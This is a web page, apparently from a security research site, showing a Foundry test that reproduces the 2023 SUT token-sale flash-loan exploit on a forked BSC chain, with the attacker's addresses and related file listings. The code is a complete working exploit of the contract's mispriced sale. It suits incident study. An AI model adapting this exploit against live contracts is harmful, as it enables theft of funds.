Public reproduction file
src/test/2023-07/SUT_exp.sol
Public reproduction file for dataset entry SUT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~8K USD$8// Attacker : https://bscscan.com/address/0x547fb3db0f13eed5d3ff930a0b61ae35b173b4b59// Attack Contract : https://bscscan.com/address/0x9be508ce41ae5795e1ebc247101c40da7d5742db10// Vulnerable Contract : https://bscscan.com/address/0xf075c5c7ba59208c0b9c41afccd1f60da9ec9c3711// Attack Tx : https://bscscan.com/tx/0xfa1ece5381b9e2b2b83cb10faefde7632ca411bb38dd6bafe1f1140b1360f6ae13// @Analysis14// https://twitter.com/bulu4477/status/168298395608037785716interface IUniswapV3Router {17 struct ExactInputSingleParams {18 address tokenIn;19 address tokenOut;20 uint24 fee;21 address recipient;22 uint256 amountIn;23 uint256 amountOutMinimum;24 uint160 sqrtPriceLimitX96;25 }27 function exactInputSingle(28 ExactInputSingleParams memory params29 ) external payable returns (uint256 amountOut);30}32interface ISUTTokenSale {33 function tokenPrice() external view returns (uint256);35 function buyTokens(36 uint256 _numberOfTokens37 ) external payable;38}40contract SUTTest is Test {41 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));42 IERC20 SUT = IERC20(0x70E1bc7E53EAa96B74Fad1696C29459829509bE2);43 IUniswapV3Router Router = IUniswapV3Router(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);44 IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);45 ISUTTokenSale SUTTokenSale = ISUTTokenSale(0xF075c5C7BA59208c0B9c41afcCd1f60da9EC9c37);47 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);49 function setUp() public {50 cheats.createSelectFork("bsc", 30_165_901);51 cheats.label(address(WBNB), "WBNB");52 cheats.label(address(SUT), "SUT");53 cheats.label(address(Router), "Router");54 cheats.label(address(DPPOracle), "DPPOracle");55 cheats.label(address(SUTTokenSale), "SUTTokenSale");56 }58 function testExploit() public {59 // Start with 0 BNB60 deal(address(this), 0 ether);61 // Take 10 WBNB loan62 DPPOracle.flashLoan(10e18, 0, address(this), new bytes(1));64 emit log_named_decimal_uint(65 "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()66 );67 }69 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {70 SUT.approve(address(Router), type(uint256).max);71 WBNB.withdraw(10e18);73 emit log_named_uint("Incorrect SUT token price returned from tokenPrice() function", SUTTokenSale.tokenPrice());75 SUTTokenSale.buyTokens{value: 6.855184233076263744 ether}(SUT.balanceOf(address(SUTTokenSale)));77 emit log_named_decimal_uint("Buyed number of SUT tokens", SUT.balanceOf(address(this)), 18);79 // Swap all SUT tokens to WBNB80 SUTToWBNB();82 // Wrap the remaining BNB (after buying SUT tokens) to WBNB83 WBNB.deposit{value: address(this).balance}();85 // Repaying flashloan86 WBNB.transfer(address(DPPOracle), baseAmount);87 }89 receive() external payable {}91 function SUTToWBNB() internal {92 IUniswapV3Router.ExactInputSingleParams memory params = IUniswapV3Router.ExactInputSingleParams({93 tokenIn: address(SUT),94 tokenOut: address(WBNB),95 fee: 2500,96 recipient: address(this),97 amountIn: SUT.balanceOf(address(this)),98 amountOutMinimum: 0,99 sqrtPriceLimitX96: 0100 });101 Router.exactInputSingle(params);102 }103}Analysis
Dataset entry
Public Foundry test for “SUT” (2023-07-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x547fb3db0f13eed5d3ff930a0b61ae35b173b4b5
- Attack Contract
0x9be508ce41ae5795e1ebc247101c40da7d5742db
- Vulnerable Contract
0xf075c5c7ba59208c0b9c41afccd1f60da9ec9c37
- Attack Tx
0xfa1ece5381b9e2b2b83cb10faefde7632ca411bb38dd6bafe1f1140b1360f6ae
- Explorer: https://bscscan.com/address/0x547fb3db0f13eed5d3ff930a0b61ae35b173b4b5
- Explorer: https://bscscan.com/address/0x9be508ce41ae5795e1ebc247101c40da7d5742db
- Explorer: https://bscscan.com/address/0xf075c5c7ba59208c0b9c41afccd1f60da9ec9c37
- Reference: https://twitter.com/bulu4477/status/1682983956080377857
File record
- Name
- SUT
- Path
- src/test/2023-07/SUT_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2283f77b2fd7aea286ca14267a49beef4a3c4493
- Language
- Solidity
- Size
- 104 lines
- Date
- 2023-07-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/SUT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2283f77b2fd7aea286ca14267a49beef4a3c4493, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.